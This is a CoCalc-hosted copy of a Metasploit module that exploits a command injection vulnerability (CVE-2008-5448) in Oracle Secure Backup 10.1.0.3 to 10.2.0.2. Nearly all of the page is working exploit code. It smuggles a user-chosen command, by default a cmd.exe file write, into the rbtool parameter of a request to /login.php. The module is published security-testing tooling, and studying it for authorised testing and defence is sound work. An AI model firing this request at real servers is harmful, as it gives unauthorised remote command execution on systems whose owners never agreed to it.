CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/oracle/osb_execqr.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',
12
'Description' => %q{
13
This module exploits a command injection vulnerability in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
14
},
15
'Author' => [ 'MC' ],
16
'License' => MSF_LICENSE,
17
'References' =>
18
[
19
[ 'CVE', '2008-5448' ],
20
[ 'OSVDB', '51342' ],
21
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
22
[ 'ZDI', '09-003' ],
23
],
24
'DisclosureDate' => '2009-01-14'))
25
26
register_options(
27
[
28
Opt::RPORT(443),
29
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
30
OptBool.new('SSL', [true, 'Use SSL', true]),
31
])
32
end
33
34
def run
35
36
r = Rex::Text.rand_text_english(2)
37
38
cmd = datastore['CMD']
39
40
uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="
41
42
req = uri + Rex::Text.uri_encode(cmd)
43
44
print_status("Sending command: #{datastore['CMD']}...")
45
46
res = send_request_raw({'uri' => req,},5)
47
48
print_status("Done.")
49
50
end
51
end
52
53